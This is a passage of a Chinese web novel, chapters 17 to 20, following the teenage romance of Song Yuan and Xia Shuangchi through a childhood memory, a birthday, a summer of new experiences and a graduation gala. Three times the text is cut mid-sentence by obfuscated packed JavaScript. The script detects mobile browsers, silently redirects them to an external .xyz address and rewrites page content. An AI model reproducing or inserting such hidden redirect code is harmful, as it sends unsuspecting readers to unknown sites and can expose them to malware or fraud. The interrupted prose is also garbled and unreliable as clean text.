她垂下眼眸后退几步，有些想要逃离之状。 宋远眼疾手快地伸出手，温热的手指轻轻圈住她纤细的手腕，力道不大却带着不容挣脱的意味。 他眼底那促狭的笑意更深了，“同桌价，给你抹个零。” 少女这才松了口气，气鼓鼓地瞪了他一眼，愤懑地戳了戳他结实的小臂肌肉：“这还差不多……” 两人并肩走进写字楼，一路向上，最终抵达空旷的天台。 这里仿佛隔绝了尘世喧嚣与夏日余热，夜风带着沁人的凉意，温柔地拂过脸颊。 “宋远，你看，今晚有好多星星。” 夏霜迟仰望着璀璨的夜空，又一次提起这个对他们意义非凡的词。 “嗯。” 宋远低声应道，自然地在她身边坐下，如同那个跨年夜的台阶。 “我还没见过流星呢，”夏霜迟的声音里忽然带上了一丝不易察觉的感伤，“小时候看电视剧觉得流星雨好浪漫啊。只可惜……不知道这辈子还有没有机会亲眼看到一次。” 宋远侧过头，目光落在她被风吹动的鬓边碎发上。他忽然伸出手，指尖带着小心翼翼的温柔，轻轻将那缕调皮的发丝拢到她的耳后。 突如其来的亲密接触让两人呼吸同时一窒。 肌肤相触的地方仿佛瞬间被点燃，灼热感蔓延开来。 夏霜迟的脸颊“腾”地一下红透，连小巧的耳垂都染上了绯色，一时间手足无措。 宋远指腹那若即若离的触感，如同细微的电流窜过她的头皮，带来一阵令人心悸的酥麻和痒意。 她茫然地抬起头，撞进他深邃的眼眸里，声音轻颤：“宋远……” “传说，地上去世一个人，天上就会落下一颗星。” 宋远的声音低沉下去，收回了手，目光投向遥远的星空，带着一种沉静的忧伤，“你还记得么，其实我曾经……见过你。” “什么？” 夏霜迟彻底愣住，呆呆地看着他冷峻的侧脸。 “你忘了。”宋远转过脸，声音却出乎意料地温柔，如同月光下流淌的清泉。 - 九年前，寒冬。 冷风像刀子一样刮过空荡荡的街道，卷起枯黄的落叶在柏油路面上打着旋儿，发出刺耳的摩擦声。 已是傍晚，昏黄的路灯孤零零地亮着，拉长了寥寥无几的行人匆忙的影子。 一个瘦小的男孩蜷缩在路边的墙角，身体深深埋进一堆枯叶里，单薄破旧的衣衫根本无法抵御严寒。 压抑的抽泣声断断续续地从他紧抱的双臂间溢出，小小的肩膀无助地耸动着。 偶尔有人影匆匆路过，目光短暂地扫过这个角落，却无人停留。 “你……是不是找不到家了？” 一个带着稚气的、温柔的声音小心翼翼地响起。 小宋远的哭泣声戛然而止。 他猛地抬起头，露出一张冻得发青、布满泪痕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076853|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小脸，眼眶红肿得厉害，眼泪似乎都已流干。 他怔怔地看着眼前这个与他年纪相仿的女孩——她穿着干净暖和的羽绒服，小脸白净红润，像冬日里一颗温暖的小太阳，与他满身的狼狈形成了刺眼的对比。 一股强烈的局促和羞耻感涌上心头，他慌忙用手背用力抹着脸：“你……你是谁？” 小夏霜迟静静地蹲在他身边，歪着头，清澈的大眼睛里映着小男孩的狼狈和泪水，小声问道。 见宋远没有回应，她继续开口:“还是说……你爸爸妈妈也不爱你?” “胡说！” 小宋远像是被踩了尾巴的小兽，猛地站起身，通红的眼睛里蓄满泪水，用尽全身力气吼出这句话，声音却带着无法抑制的颤抖：“我爸爸只是……只是不要我了！不是不爱我了！” “这不是……” 小夏霜迟似乎想说什么，又咽了回去。 她站起身，拍了拍衣服上沾的灰尘，看着比自己还高一点的宋远，语气带着一种天真的认真：“男孩子不能哭哦。” 话音刚落，一阵响亮的“咕噜”声突兀地从宋远肚子里传出。 他瞬间僵住，脸涨得通红。 眼前的小姑娘似乎被这声音吓了一跳，什么也没说，转身就跑开了。 小宋远眼中的光瞬间熄灭，他像被抽干了力气，缓缓地、木然地蹲了回去，绝望地盯着冰冷的地面。 饥饿感像冰冷的藤蔓一般缠绕着胃部。 果然……还是被吓跑了吧。 呼莉喝得烂醉，把他锁在门外，任凭他怎么哭喊拍打都无济于事。 而那个像小太阳一样的女孩，和他根本不是一个世界的人…… 就在他绝望地以为连这点微光也彻底消失时，一阵急促而轻快的脚步声由远及近。 “给，喝的，和吃的。” 熟悉的声音再次响起，小宋远惊愕地抬起头。 夏霜迟气喘吁吁地跑回来，怀里抱着两联AD钙奶和一大袋松软的面包，不由分说地塞进他冰冷的怀里。 “你是不是饿了？我想……这个你应该会喜欢。” 喜欢…… 宋远抱着那袋散发着诱人麦香的面包和冰凉的AD钙奶瓶子，呆呆地看着女孩在路灯下泛着柔和光晕的脸庞。 巨大的温暖和难以置信的惊喜瞬间冲垮了他最后的防线，眼泪毫无征兆地再次汹涌而出。 他狼吞虎咽地啃着面包，大口喝着酸酸甜甜的奶，冰冷的身体一点点回暖。 那个温柔的声音在旁边响起：“忘记说了……我叫夏霜迟，你叫什么呀？” 咀嚼的动作猛地停滞。 他抬起头，对上女孩清澈含笑的眼睛。 夏、霜、迟。 那三个字，像带着某种神奇的魔力，瞬间穿透了他所有的饥饿、寒冷和委屈，深深地、永久地烙印在他灵魂最深处。 从此，“夏霜迟”不再只是一个名字，而是那个寒冷刺骨、绝望无助的冬夜里，唯一照亮他、温暖他、将他从深渊边缘拉回的光。 即便岁月流转，童年的许多细节早已模糊不清，那个夜晚的寒冷和恐惧也逐渐淡去，但那个白净温暖的笑容，和这个名字本身，却成了他记忆中最鲜明、最珍贵的坐标。 - “……可你却忘记了，忘记了那个男孩，忘记了……宋远。” 宋远的声音很平静，听不出太多波澜，仿佛在讲述一个与己无关的故事。 “我……” 夏霜迟从震撼的回忆中抽离，深深吸了一口气，抬起头，目光望向深蓝如墨的夜空，一字一顿，清晰地说道：“其实……我没忘。” 18. 租赁 “其实……我没忘。” 她顿了顿，声音带着一丝追忆的恍惚。 “只是……童年的记忆像蒙上了一层纱，很多痛苦的事情，大脑会本能地选择模糊它们。但，”她的目光转向宋远，带着一种笃定，“那股淡淡的青柠味，我记得。在那个寒冷的夜里，它就萦绕在我鼻尖……只是，我从来没想过，会有人……把那个瞬间，那个名字，记得那么久，那么深。” 幼年的记忆虽已模糊成一片混沌的灰影，但那缕若有似无、带着涩意的青柠气息，却像一枚独特的印记，始终萦绕在关于那个寒冷夜晚的零星记忆碎片里。 她从未想过，自己随手递出的、微不足道的善意，竟会在另一个孤独的灵魂里，生长成如此漫长而沉重的惦念。 这份沉甸甸的“记得”，让她在感动之余，也感到一丝无措和难以言喻的心疼。 她终于明白，当初那个在众人眼中冷漠孤僻的转学生，为何会在数学课上，独独在她那略显笨拙的问题下面，郑重地写下那两个字—— 宋远。 那是他迟来了整整九年的、正式的自我介绍。 “当初你为什么一个人在路边？” 夏霜迟犹豫了一下，还是问出了心底的疑惑。 宋远双手交叠，指节无意识地相互摩挲着，目光投向虚无的远方，“我父亲……在我五岁的时候就去世了。” 夏霜迟的心猛地一沉。 “所以，”宋远的声音依旧平静，却带着一种钝痛，“你当时说‘你爸爸不爱你了’……那句话，很疼。” 夏霜迟瞬间感到强烈的歉意，她摆了摆手，急忙解释，“对不起！宋远，真的对不起……那时太小，童言无忌，我……我向你道歉！” 这是她迟到了九年的道歉。 宋远沉默了片刻，夜风吹动他额前的碎发。他轻轻摇头：“我不在意了。” 那晚的满天星光，早已覆盖了那句话带来的刺痛。 他忽然叹息一声，声音里带着一种深刻的疲惫和自嘲，“其实……你说我是星星。可我觉得自己更像是野草。” “野草？”夏霜迟不解。 “嗯。” 宋远的声音微凉，“生在哪里，长成什么样，都由不得自己。火烧水淹，只能任人摆布，无力抵挡……好像从出生那一刻起，命运就被写好了。” 他的语气里充满了宿命般的无力感。 “而你是花——” “宋远！” 夏霜迟猛地打断他，声音比平时高了几分，带着不容置疑的坚决和一点心疼，“你在鼓励我的时候，能不能也鼓励一下你自己？花和草，本质上又有什么区别？毛毛虫破茧也终会蜕变成蝴蝶！” 她凝视着他的眼睛，目光灼灼，仿佛要驱散他眼底的阴霾，“你不要自怨自艾。野草又如何？就算经历火烧水淹，它也注定不会真正死去！就像古诗里说的，‘野火烧不尽，春风吹又生’。来年春天，无论经历过多少风霜雨雪，多少挫折磨难，只要根还在，就一定能重获新生，焕发出更蓬勃的生机！” 她的声音清亮又坚定，在寂静的夜空下回荡着，带着一种穿透人心的力量。 宋远静静地听着，深邃的眼眸映着漫天星光，也映着眼前这个为他据理力争、为他点亮希望的少女。 夜风更温柔了，仿佛也在应和着她的话语。繁星点点，无声地见证着天台之上，两颗年轻的心在沉重的命运底色下，努力靠近，彼此照亮。 重获新生…… 宋远沉默了。 少女眼中跳跃的、充满生命力的光，融化了他心底那片坚冰。 他张了张嘴，那些关于死亡倒计时的冰冷字眼在舌尖滚了滚，最终被无声咽下。 他怎能用自己晦暗的宿命，去熄灭她眼中如此明亮的光…… 他喜欢看她这样——充满希望，相信未来，相信重获新生。 - 天光早早大亮。 夏霜迟走到客厅，刷地拉开厚重的窗帘，刺目的阳光瞬间涌进来，填满了空旷的房间。 她长长地叹息一声，仰面倒在沙发上，望着天花板上繁复的吊灯花纹出神。 “小迟啊，我和你爸暑假得出差，顾不上你。雪球的猫粮到了记得去取一下，还有……” 苏燕临行前的叮嘱还在耳边回响。 走了也好。 至少家里，暂时能喘口气了。 “喵——” 一团毛茸茸的白色蹭了过来，用脑袋拱着她的手。 是雪球。 “饿了？” 夏霜迟把它抱起来，感受着掌心下温热的、小生命的气息。 “喵——” 雪球拖长了音调。 “知道啦，金枪鱼罐头，还有拌饭肉松，还是什么？” 夏霜迟放下它，穿着拖鞋走进厨房，在一堆印着外文的宠物食品袋里翻找起来。 “冻干鸡肉粒……深海鱼油片……今天吃你吧，精选牛肝片。” 雪球一闻到味道，立刻激动地围着她的脚边打转，叫声一声比一声急切。 夏霜迟叹了口气，拿出雪球的专属食碗，倒上猫粮，又仔细撕开牛肝片的包装拌进去。 “喏，小祖宗，吃吧。” 雪球立刻把整个脑袋埋进食盆，发出满足的“喵呜喵呜”声。 夏霜迟撑着下巴坐在旁边，看着雪球狼吞虎咽，眼神涣散。 父母不在家，朋友在国外…… 这漫长的一个月，她该怎么熬过去？ “叮铃铃……” 手机铃声骤然响起，打破了屋内的沉寂 “翩月？” 电话那头传来林翩月带着一丝惊诧的声音，“夏霜迟同学！你连自己生日都忘啦？” 生日？ “啊……？” 夏霜迟一愣，下意识看向手机屏幕——8月3日。 竟然……真是她的生日。 她的睫毛轻轻颤动，眼底的惊诧一览无遗。这份“竟然”，并非源于日期本身，而是源于真的有人记得。 反观她的父母，连一句最简单的“生日快乐”都吝于给予，仿佛她的存在，远不如一只猫重要。 “谢谢……翩月，”夏霜迟的声音有些颤抖，握着手机的指尖因用力而隐隐泛白，“我……没想到你还记得。” “这有什么！我每年都记得啊，你不也记得我的生日嘛？”林翩月的声音依旧带着那份熟悉的骄矜，仿佛那些深夜里的破碎哽咽从未发生过，她还是那个明媚张扬的大小姐。 夏霜迟为此感到由衷的高兴。“你最近……还好吗？” “好着呢！我给你讲啊……” 挂了电话，夏霜迟独自坐在空荡荡的客厅里。 雪球吃饱后早已不知溜达到哪个角落。偌大的空间只剩下时钟单调的“嘀嗒”声，一声声敲在无边的寂静里。 阳光透过落地窗在地板上投下明亮的光斑，却照不进她心底那片小小的、因被父母遗忘而滋生的阴霾。 她莫名地想起了宋远。 那个像冰山一样，仿佛只属于凛冬的少年…… 却偏偏是他，曾笨拙地拉着她的手，带她体会过夏夜星空下的悸动和自由的风。 她收回目光，指尖无意识地点亮手机屏幕。 犹豫了片刻，仿佛被一股无形的力量牵引，她鬼使神差地点开了那个备注为“宋远”的聊天框。 聊天背景是一片星空图。 【小迟】：在吗？ 消息像投入深潭的石子，过了几分钟，才收到回复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087561|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【宋远】：怎么了。 夏霜迟的心一下子提到了嗓子眼，瞬间后悔起来—— 她这是在干什么？宋远今天肯定要去打工的，哪有时间…… 她叹了口气，指尖在输入框里打下两个字：没事。 刚想发送，手机屏幕却骤然亮起—— 宋远的语音通话请求。 “啊！喂……” 夏霜迟手忙脚乱地站起来，差点碰倒水杯，小心翼翼地将手机贴到耳边。 听筒那边异常安静，不像是在喧闹的街头或便利店。 一丝微弱的希冀在她心底升起—— 他今天……也许不忙？ “什么事？” 宋远的声音传来，依旧没什么情绪起伏。 “啊，啊……” 夏霜迟只觉得舌头打结，面对他直白的询问，她恨不得立刻挂断电话找个地缝钻进去。 “我的意思是……我、我能……租你一天吗？” 话一出口，两边都陷入了死寂。 夏霜迟的大脑一片空白。 天！她都说了些什么？！ 租？ 这个字眼像一记重锤砸在她心上——这会不会显得太不尊重？把他当成了什么？ 脸颊瞬间烧得滚烫，心跳声在耳膜里咚咚作响，震耳欲聋。 “对——” “你——” 两人几乎同时开口。 夏霜迟立刻噤声，紧紧握着手机，像个做错事的孩子般没底气地小声道：“你……你先说。” 那边沉默了几秒，才传来宋远听不出情绪的声音：“……多少钱？” 阳光透过落地窗，暖洋洋地照在夏霜迟脸上。 她像是抓住了救命稻草，赶忙开口：“谢谢你！不过……我没那么多钱，一天……五百可以吗？” 声音带着试探。 “五百？”宋远的语气带着明显的诧异。 说少了？！ 夏霜迟心里一慌，窘迫地追加：“那……一千？一千行吗？” “一千？”宋远的声音听起来更困惑了 “两千！最多两千！不能再多了……”夏霜迟的声音细若蚊蝇，带着豁出去的恳求，“我一个月零花钱才一万，均下来一天也就三百……你、你肯定是赚的，别嫌少好不好？” 听筒里又沉默了几秒。 就在夏霜迟以为他要不耐烦挂断时，那边传来一声极轻、极短促的气息声—— 那是夏霜迟从未听过的，属于宋远的轻笑。 虽然转瞬即逝，却像一颗小石子投入她心湖。 “再说吧。” 宋远的声音里似乎带上了一丝难以察觉的……无奈？ “宋远……” 听到对面隐约传来一些嘈杂声，夏霜迟担心他要挂断，急忙追问，“那……你是答应了吗？” “……行。” 宋远的声音淡淡传来，带着一种妥协般的应允。 直到他挂断电话，夏霜迟还握着手机，有些不敢置信地站在原地。 他……答应了？ 一丝难以言喻的雀跃像气泡般从心底咕嘟咕嘟冒上来。 她连忙点开聊天框，手指飞快地打字： 【小迟】：来我家吧，我爸妈最近都不在！现在是早上十点，你几点能过来？ 消息几乎是秒回—— 【宋远】：地址。很快。 发了定位过去，夏霜迟还有一种踩在云端的不真实感。 她冲进房间，猛灌了一大口冷水，飞快地脱下睡衣，从衣柜里挑出一条她最喜欢的浅蓝色连衣裙换上。 心底有个小小的声音在雀跃地叫嚣—— 早知道一千块就能“租”到宋远一天……她简直想直接包月！ 19. 斩锁 “叮咚。” 门铃声清脆地响起。 夏霜迟的心脏猛地一跳。 她深吸一口气，故作镇定地放下手里的水杯，像只受惊的兔子般蹿到门口。 透过猫眼反复确认门外那个挺拔的身影后，她才压下狂跳的心，缓缓打开了门。 门外，宋远依旧是一身简单的黑色T恤和长裤。 楼道的光线从他身后打来，在他乌黑的发顶勾勒出一圈柔和的光晕，模糊了他惯常冷硬的轮廓，竟显出几分不真实的温柔。 “你好……” 夏霜迟手足无措地站着，目光下意识地飘向他。 黑色T恤下隐约勾勒出紧实的肩臂线条，宽肩窄腰…… 脸颊瞬间发烫，她慌忙移开视线，心脏在胸腔里不争气地狂跳起来。 “你好？” 宋远看着她微微泛红的脸颊和躲闪的眼神，目露疑惑。 “啊！对不起对不起！” 夏霜迟猛地回神，侧身让开，“请进，换鞋吧。” 她站在宋远身后，看着他弯腰换鞋的背影，脸颊的温度久久降不下去。 客厅里。 “你今天有什么要帮忙的事情？” 宋远在沙发上坐下，开门见山，“搬家？修东西？” “没有……” 夏霜迟摇摇头，把一杯温水递给他。 “那是怎么了？”宋远接过水杯，喝了一口。 夏霜迟在他对面的小凳子上坐下，手指无意识地绞着裙摆，犹豫片刻，终于鼓起勇气，“今天……是我生日。我爸妈不在家……我、我想让你陪我过个生日。” 宋远端着水杯的手微不可察地顿了一下。 他抬起眼帘，目光落在她带着期盼和一丝紧张的脸上，眼底那份惯常的疏离被一种郑重的温和取代。 他放下水杯，清晰地说道： “好。” 中午，两人去了市区一家DIY蛋糕坊。 夏霜迟选了粉色的奶油底，宋远负责用白色奶油裱花。他握着裱花袋的手显得有些笨拙，眉头微蹙，全神贯注。 最终，一个线条扭曲、表情呆滞的HelloKitty勉强成型，丑得让人忍俊不禁。 夏霜迟看着那个歪歪扭扭的杰作，笑得眉眼弯弯——这是世界上独一无二的宋远版Kitty。 下午，他们一起去了附近的大型超市。 宋远推着购物车，夏霜迟像个小尾巴一样紧紧跟在他身边。 穿梭在琳琅满目的货架间，看着宋远认真挑选火锅底料和食材的侧脸，夏霜迟心底忽然涌起一个念头：如果未来的日子，能像此刻这般平静安宁，细水长流，似乎……也挺好。 “需要金针菇吗？” 宋远拿起一盒金针菇，手在她微微出神的眼前晃了晃，“在想什么？” “没、没事！” 夏霜迟猛地回过神，脸颊微热，赶紧摇头。 夜幕降临，公寓里飘散着诱人的火锅香气。红油锅底咕嘟咕嘟地沸腾着，氤氲的热气模糊了窗户。 宋远从厨房出来，腰间系着夏霜迟家那件粉嫩嫩的、印着小猫爪印的围裙。 一向冷峻的脸上配上这极具反差萌的装扮，让夏霜迟没忍住，“噗嗤”一声笑了出来。 宋远把切好的蔬菜拼盘放到餐桌上，掀起眼帘，精准地捕捉到她来不及收回的笑意，“很好笑？” “没、没什么，”夏霜迟撑着下巴，眼底的笑意还未散去，“只是觉得……你好像什么都会。” 宋远拉开她对面的椅子坐下，拿起筷子把一盘肥牛卷下进翻滚的红汤里，动作熟练。 他垂着眼，声音不高，却清晰地传来，“是吗？我还会做更多事。” 他抬眼看向她，目光沉静，后面那句未出口的“如果你需要”仿佛融化在火锅氤氲的热气里。 夏霜迟的心跳漏了一拍，胸腔里像有什么东西随着那沸腾的汤底一起涌动起来，无法平息。 墙上的挂钟，时针和分针悄然重叠在12。 小小的生日蛋糕被摆在了餐桌中央，唯一一支蜡烛被点燃，橘黄色的火苗轻轻摇曳。 夏霜迟戴上亮晶晶的小皇冠，双手合十，虔诚地闭上眼睛。 “生日快乐，夏霜迟。” 宋远的声音在对面响起，不再是平日的冷淡，而是带着一种清晰的、温暖的祝福。 烛光映照着少女恬静的侧脸。 夏霜迟睁开眼，眼神亮晶晶地看向宋远，带着一丝小小的期待，“宋远，你会唱歌吗？生日歌。” “嗯。” 窗外是沉沉的夜幕。 但在夏霜迟心里，此刻正有一颗星星，冉冉升起，光芒万丈。 “我的愿望是——” 她再次合十双手，声音清亮。 “听老人说，”宋远轻声打断，目光落在摇曳的烛火上，“愿望说出来，就不灵了。” 夏霜迟垂下眼眸，似乎在认真思考这句话。 片刻后，她重新抬起头，目光越过跳动的烛光，直直地望向宋远，眼中闪烁着坚定的光芒，“我的愿望不一样。它说出来，才能灵。” 她深吸一口气，声音带着一丝不易察觉的颤抖，却异常清晰而郑重。 “我希望能在这个月，体验一些我从未做过的事情。” 烛光在她亮得惊人的眼眸中跳跃。 她停顿了一秒，仿佛在交付一个无比珍贵的誓言，“和你。” 好。和我。宋远静静地看着少女真挚的眉眼。 “我许愿——” “我想喝酒。” 夏霜迟知道，在父母眼里，这是坏孩子做的。 可宋远只是看着她，片刻后，嘴角牵起一个很淡的弧度，“好。” 清吧的灯光暧昧地流淌，宋远安静地坐在她身边。夏霜迟小心翼翼地尝着那些色彩斑斓的酒液，新奇又忐忑。 他的目光始终落在她身上，专注得像在研究一道难解的题，带着一种虔诚的温柔。 “我想自己调酒。” 或许是酒精带来微醺的缘故，让她胆子大了些。 宋远没有犹豫，“可以。” 很快，家里的桌案成了她的实验场。 气泡水、乳酸菌、伏特加、金酒、朗姆……透明的冰块在玻璃杯里叮当作响，折射出细碎的光，映亮了夏霜迟那双充满探索欲的眼睛，像盛着揉碎的星辰。 “我想染头发，要海水一样的蓝色。” 她指着杂志上的模特。 宋远这次沉默了几秒，看着她亮晶晶的眼眸，终是妥协，“好。但开学前，要染回来。” 镜子里，染发膏均匀覆盖了黑发。 宋远透过镜子，看着夏霜迟顶着一头湿漉漉、略显狼狈的蓝发，忍俊不禁地低笑出声。 那笑声很轻，却像羽毛拂过夏霜迟的心尖。 “我要夜爬看日出！” 宋远点头，“很危险，跟紧我。” 山风凛冽，汗水浸透衣衫。 当第一缕金红刺破云层，将天地染成壮丽的画卷，所有的疲惫仿佛都化作了轻盈的蝶，振翅飞向天际。 云雾散尽，夏霜迟迎着朝阳，笑容灿烂得晃眼。 她想，这自由的风，值得。 “我还想要去听他的演唱会！” 她指着手机屏幕上闪亮的明星海报。 宋远难得地歪了歪头，目露一丝困惑，随即掏出手机，“那我先查查怎么抢票。” 巨大的荧幕光影变幻，山呼海啸般的声浪中，夏霜迟用力挥舞着荧光棒，脸颊在流转的光线下忽明忽暗，是纯粹的、毫无保留的快乐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092493|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋远静静站在一旁，目光只落在她身上。 那片喧嚣的荧光海，远不及她此刻流转的眼眸动人。 “我想蹦极！” “好。” “我想打耳洞！” “好。” “我想……” “好。” 凡她所愿，宋远都陪她去疯，去闯，去撕掉那层名为“乖乖女”的标签。 他要她做那个成绩顶尖、灵魂却不受束缚的非典型学霸。 成绩是她立足的基石，却非人生的全部。 那些无形的框架，不过是她曾亲手为自己套上的枷锁。 而他，正陪着她，用一个个“好”字，一点点撬开锁链。 她站在风里，感受着青春最原始的自由，仿佛伸手就能触到目力不及的遥远天涯。 她在心底无声地说：宋远，谢谢你。 高三的暑假补课，像按下了快进键。 日子仿佛只是做不完的试卷、改不完的错题、贴不完的条形码。 雪片般的卷子无声堆积，课间也被老师叫去改错的声音填满。 三天一小考，一周一大考，分数和排名成为悬在头顶的一把剑。 偶尔的失利，便能轻易碾碎夏霜迟紧绷的神经，让她在无人的角落瞬间崩溃落泪。 学，学到麻木，教室时常死寂如墓园，坐满了眼神空洞的僵尸。 除了学业的重压，夏霜迟更敏锐地察觉到了身边人的异样。 不知从高二哪个节点开始，宋远彻底避开了所有剧烈的体育活动。 进入高三，他课桌抽屉里常备的药瓶变得显眼，脸色时常是失血的苍白，薄唇紧抿，额角渗出细密的冷汗。 “你还好吗？” 夏霜迟看着他微微发颤的手指，心揪紧了。 宋远低着头，眉头紧锁，似乎在忍受极大的痛苦。 过了好几秒，他才缓缓抬起脸，嘴角努力想扯出一个安抚的笑，声音却轻得像叹息，“我可能要死了。” 空气仿佛凝固了。 夏霜迟瞳孔骤缩，心脏猛地一颤，寒意瞬间窜遍全身。 “别……别胡说！” 她的声音带着自己都没察觉的颤抖，几乎是本能地抗拒着这句话，“这种玩笑一点都不好笑，我送你去医务室吧。” 宋远眼眸深处掠过一丝难以捕捉的黯淡，随即被更深的疲惫覆盖。 他轻轻摆手，避开了她的搀扶，“没事，老毛病。” 夏霜迟看着他毫无血色的脸，认真道：“如果累了，就休息。身体最重要。” “嗯。”宋远低低应了一声，目光落在她紧蹙的眉头上，轻声催促，“快学习吧。” 高考前的最后三个月，快得像指间流沙。 教室里的空气越发沉闷。 课间，一阵压抑的骚动打破了寂静。 夏霜迟解完最后一道压轴题，茫然抬头。 何潇神秘兮兮地转过头，压低声音：“小迟，乌秒刚说的，听说咱们考前一周就离校了，而且——” 他故意拉长调子。 乌秒正抱着一沓化学卷子分发，闻言狠狠瞪了何潇一眼，推了推眼镜，“别乱传，我也是听说的。” “行行行，卷子快发！”何潇不耐烦地推他。 夏霜迟拿到自己的卷子，一个角被撕破了。她下意识想换，乌秒却已走远。 一丝细微的失落爬上心头。 未等她回神，手中的破卷子被一只骨节分明的手抽走，一张崭新的卷子被轻轻放在她面前。 “用我的。” 宋远的声音没什么起伏，阳光穿过他浓密的黑发，在桌面投下跳跃的光斑。 “叮铃铃——” 秦福走进来，神色凝重地拍了拍手：“这节是咱们的物理课，先通知几件事。” 20. 晚会 “叮铃铃铃——” 铃声响起，秦福走进门拍了拍手，神色凝重，“这节课是咱们的物理课，我先给大家通知几件事情。” 一瞬间，教室里安静地出奇，大家倦怠、黯然失色的眼睛里仿佛忽然有了亮光，期待着、渴望着一刻的休憩。 “咱们还有不到一个月就考试了，学校在一周之后安排了毕业晚会，开完之后大家就可以回家了，在家自己复习，查漏补缺。” 秦福的语气带着一丝沉重，颇有大战打响前的威严。 班里的同学们却是不由自主地漏出了兴奋、期待的眼神。这整整一年日日夜夜没有硝烟的战争，早让他们磨去了那些曾经的棱角，也磨去了对高考的恐惧。 他们只渴望得到一瞬间的喘息。 “还有一件事，就是学校在毕业晚会上，要求每个人给自己五年后写一封信。学校会代替大家保管起来，五年后，希望大家都能记得咱们第三中学，能回来看看母校，看看老师，也看看……看看当年那个为梦想拼搏的自己。” 秦福眼睛里涌现泪花，三年的陪伴即将走到了尽头。 何潇带头喊起来，“老师，我们肯定忘不了你！” 乌秒推了推眼镜，一秒跟上，“秦老师是三班永远的班主任！” 教室里也响起应和声。 接下来，学校发信封，发信纸，和考试融为了一体，一边是埋头书海，另一边是对未来的自己许愿，或是倾诉。 夏霜迟坐在座位上，看着自己手中的的信封，她一时间不知道写什么。 写什么呢？该给未来的自己写什么？ 她垂下眼睫，斟酌良久，一笔一划地写下—— 希望未来，不虚此行。 眸中拥有山川湖泊，也拥有肆意的底气。 能执爱人之手，天涯海角，共白头。 洋洋洒洒八百字，夏霜迟小心翼翼地封口，将心事封存。 窗外阳光正盛，夏天，她已经与宋远共度三次。 阳光照耀，她忽然有些恍惚，仿佛还是当初那个夏天，身边空荡荡的座位忽然坐下了一个人，黑发少年眼里没有温度，却在夏天的炎热下，硬生生染上了笑意。 转过身，夏霜迟偷偷去看宋远，宋远停下笔，又看了很久，终于合上了信。 他握着笔，沉默了半晌，却只是简单地把信推到自己面前，“老师让交的话，帮我一交。” “好，好。”夏霜迟点了点头，她看着宋远在阳光照耀下有些苍白的脸，有些期待地对宋远说:“我在毕业晚会报名了一首歌，你会去听的吧？” “嗯。”宋远似乎应了一声，听不出什么情绪。 分明是夏天，夏霜迟忽然觉得眼前漫起雾气，让她几乎睁不开眼睛，宋远只身站在雾里，她似乎看不清他了。 — 六月一日，儿童节，正是毕业晚会的日子。 中午一放学教室就被完全腾空，不少人背着书包立刻，墙上的那些激励的语句，也随着粉笔擦的舞动而渐渐消失，化作抖落下的白色细屑。 “不拼不博，高三白活！” “海到尽头天作岸，山登绝顶我为峰！” 贴在教室横幅上话也被撕下，红色的飘带逐渐模糊了视线。 校园到处贴的是横幅，夏霜迟穿着一身红裙，在后台紧张握着手，这是她第一次在全校面前登台演出。 夜色阑珊。 看过了学妹学弟的鼓舞誓词，欣赏过了他们编排的舞台剧，跨过了“龙门”，和各科老师拍了手，高三学生顺着跑道一路狂奔，汗水挥洒，终于在星星升起之时，稳稳地坐在了操场的草坪上。 世界又变得静谧。 前方是学校的三块大屏幕，主持人的脸缓缓出现，他目光灼热，开口道:“未来的路随不知通往何处，但是在前行之中，疲累之时，不妨抬起头看看天空，看看漫天的星星，接下来，让我们欣赏高三(三)班夏霜迟带来的歌曲节目——《星星在唱歌》！” 是一阵又一阵欢乐的鼓掌声。 夏霜迟一袭红裙走至舞台中央，她的目光向着前方望去，似乎在寻找什么，她搜寻几秒后，似乎看见了那期待已久的身影，便又仓促地移开目光。 前奏缓缓出现，如同皎洁的月光，让整个嘈杂浮躁的世界瞬间安静了下来。 “抬头看着星星在唱歌， 她的呼吸好似对我说， 她说你要慢慢长大， 不只为自己活着， 如果你也听见星星的歌， 不要哭泣不要再受折磨， 若你抬起头，它就在天空……” 声音柔和而让人沉迷，静谧的夜空点缀着无数颗星星，宋远在人群里怔怔地看着舞台上那个耀眼夺目的人，她的呼吸此刻仿佛牵引着他的心跳。 砰、砰、砰，是他心跳的声音。 此刻的心底，是喜悦，是欣慰，是感激，是不舍。 心脏却忽然猛得刺痛，几乎是一瞬间，宋远一只手下意识撑在了地上，他的头低垂，长长地头发盖住了他眼底情绪。 冷汗从额头渗出，他咬住牙关，攥紧拳头，眉头紧皱，那句卡在喉咙里的闷哼，用尽全力才缓缓消失。 他缓了好久，最后才长长地舒了一口气，如释重负。 他强迫自己抬起头，目光又落在了舞台中央的女孩—— 